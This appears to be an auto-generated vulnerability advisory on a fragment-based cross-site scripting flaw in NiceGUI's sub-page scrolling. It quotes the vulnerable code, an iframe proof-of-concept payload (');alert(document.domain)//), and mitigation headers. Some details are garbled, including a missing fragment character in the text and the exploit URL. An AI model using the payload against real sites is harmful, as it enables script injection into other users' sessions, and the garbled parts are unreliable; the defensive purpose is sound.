Listen to this Post
The vulnerability is an unsafe JavaScript execution within the `_scroll_to_fragment` method. When a user navigates or when the `pushstate` event fires, the `ui.sub_pages` system processes the URL’s fragment identifier (the text after the “). An attacker can embed a vulnerable NiceGUI page within a cross-site iframe and manipulate its URL fragment. The fragment value is directly inserted into a JavaScript execution string (element.querySelector(...).scrollIntoView(...)) without proper sanitization. By crafting a fragment that breaks out of the quoted string, like ');alert(document.domain)//, the attacker injects arbitrary code. This code executes in the context of the NiceGUI application’s origin, leading to Cross-Site Scripting.
Platform: NiceGUI
Version: unspecified
Vulnerability: Fragment XSS
Severity: Medium
date: unspecified
Prediction: Unspecified Patch date
What Undercode Say:
Locate vulnerable JS file find . -name "sub_pages.py" -type f Search for scrollToFragment pattern grep -n "_scroll_to_fragment" nicegui/elements/sub_pages.py Check for unsafe string concatenation grep -A5 -B5 "fragment" nicegui/elements/sub_pages.py | head -20
Vulnerable code snippet (lines ~206-217)
https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.pyL206-L217
def _scroll_to_fragment(self, fragment: str) -> None:
js = f"""
var element = document.querySelector('a[name="{fragment}"], {fragment}');
if (element) {{
element.scrollIntoView({{behavior: 'smooth'}});
}}
"""
self.run_javascript(js)
How Exploit:
<iframe id="myiframe" src="https://victim-nicegui-app.com"></iframe>
<script>
function triggerXSS() {
myiframe.src = "https://victim-nicegui-app.comx');alert(document.domain)//";
}
</script>
Protection from this CVE:
@app.middleware('http')
async def add_security_headers(request, call_next):
response = await call_next(request)
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Content-Security-Policy'] = "frame-ancestors 'none';"
return response
Impact:
Cross-Site Scripting
Low Confidentiality Impact
Low Integrity Impact
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
